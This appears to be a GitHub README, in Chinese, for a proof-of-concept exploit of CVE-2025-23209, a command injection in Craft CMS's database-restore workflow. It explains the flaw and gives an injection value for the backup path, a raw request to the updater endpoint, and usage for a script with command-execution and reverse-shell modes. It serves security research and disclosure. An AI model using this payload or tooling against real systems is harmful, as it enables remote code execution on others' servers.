farid-khelil/CVE_2025_23209
GitHub: farid-khelil/CVE_2025_23209
针对 Craft CMS 数据库恢复工作流命令注入漏洞(CVE-2025-23209)的 PoC 利用脚本,支持远程命令执行和反弹 Shell。
Stars: 0 | Forks: 0
# CVE-2025-23209
仅供经过授权的安全测试和研究环境使用。
## 漏洞概述
`CVE-2025-23209` 是 Craft CMS 数据库恢复工作流中的一个命令注入漏洞。
在受影响的版本中,攻击者控制的备份路径值可以从已签名的请求数据中进入 shell 命令构建过程,而未经上下文安全的清理。
受影响范围:
- Craft CMS `>= 4.0.0-RC1` 且 `< 4.13.8`
- Craft CMS `>= 5.0.0-RC1` 且 `< 5.5.8`
已修复版本:
- `4.13.8`
- `5.5.8`
## Craft CMS 内部行为
本节仅解释内部机制,与特定的 CTF 路由/路径无关。
### 执行调用图(概念性)
```
HTTP POST (signed data + CSRF)
-> Request validation layer
-> getValidatedBodyParam('data')
-> JSON decode
-> Updater restore action
-> DB connection restore(filePath)
-> restore command template expansion
-> shell/process execution
```
### 1. 请求完整性与请求安全性
Craft 通过以下方式验证请求完整性:
1. POST 操作的 CSRF/会话检查
2. 使用 `CRAFT_SECURITY_KEY` 进行签名的 body 参数验证
概念性代码片段:
```
$validated = Craft::$app->getRequest()->getValidatedBodyParam('data');
$this->data = Json::decode($validated);
```
这证明了 payload 相对于密钥的真实性,但并不能保证每个字段在后续的每次执行上下文中都是安全的。
### 2. 恢复工作流边界
在较高层次上:
1. Controller 接收已验证的 payload
2. 从 payload 中读取 `dbBackupPath`
3. 使用该值调用 DB 恢复 API
概念性结构:
```
Craft::$app->getDb()->restore($this->data['dbBackupPath']);
```
当旨在表示文件路径的数据字段随后被嵌入到 shell 命令文本中时,风险便由此产生。
### 3. Token 展开与 Shell 上下文
对于基于 MySQL 的安装,恢复操作依赖于带有 token 替换(例如 `{file}`)的命令模板。
如果 token 替换作为普通字符串替换执行,而没有严格的命令上下文转义,路径数据就可以变成 shell 语法。
### 4. 进程执行边界
展开后,命令字符串由进程/shell 包装器执行。
此时,引用规则和元字符控制着具体行为。
在应用层被视为“仅仅是一个路径”的值,在 shell 层可能会被解释为可执行语法。
### 5. 威胁模型缺口
- 如果 `CRAFT_SECURITY_KEY` 存在泄露的可能,那么受签名保护的端点就必须仍然假定会接收到恶意构造但有效的 payload。
### 6. 命令注入
如果 `dbBackupPath` = `"; whoami #`
该命令将变为:
```
mysql --defaults-file=/tmp/xxx dbname < ""; whoami #"
```
这将作为**独立的命令**执行:
1. `mysql ... < ""`(失败)
2. `whoami`(成功执行的命令!)
3. `#`(注释掉末尾的 `"`)
### 7. 原始请求
```
POST /admin/actions/updater/restore-db HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: CraftSessionId=...
data=&CRAFT_CSRF_TOKEN=
```
## 漏洞利用前提
- `CRAFT_SECURITY_KEY` 已被泄露
- 能够访问 Craft CMS 更新器端点
- 具备有效的 CSRF/会话上下文(或能够绕过)
## 脚本使用
本仓库包含:
- `CVE_2025_23209.py`
其自动化执行的操作:
1. 构建 `dbBackupPath` payload
2. 尝试从常见的 CP 页面引导 CSRF/会话
3. 以兼容的模式对 payload 进行签名
4. 尝试常见的更新器端点变体
5. 发送请求并输出诊断提示
### 环境要求
- Python 3.9+
- `requests`
安装:
```
python3 -m pip install requests
```
### CLI 帮助
```
python3 CVE_2025_23209.py -h
```
### 基本命令执行
```
python3 CVE_2025_23209.py \
--url http:// \
--security-key \
--command "id"
```
### 反向 Shell 模式
```
python3 CVE_2025_23209.py \
--url http:// \
--security-key \
--lhost \
--lport 4444
```
### 签名模式
```
--signature-mode auto|hex|raw_b64|blob_b64
```
建议使用 `auto` 进行兼容性检查。
## 解读常见响应
### `400 无法验证您提交的数据。`
通常意味着以下情况之一:
1. `CRAFT_SECURITY_KEY` 不正确
2. CSRF/会话引导失败
3. 端点路由不匹配
4. 签名模式不匹配
### `302` 重定向
通常表示该部署环境中的路由/认证/会话行为存在差异。
### 类似 `Invalid backup path` 的错误
通常表明已激活修补/加固的路径检查。
## 负责任的使用
仅在您拥有或获得明确授权进行测试的系统上使用此信息。
未经书面许可,请勿针对第三方基础设施运行漏洞利用代码。
## 参考文献
- NVD:
- GHSA 公告:
- Craft CMS 补丁提交:
标签:CISA项目, CMS漏洞, Craft CMS, CVE-2025-23209, OpenVAS, PHP, PoC, RCE, URL发现, Web安全, 反弹Shell, 命令注入, 安全检测, 暴力破解, 漏洞复现, 蓝队分析, 逆向工具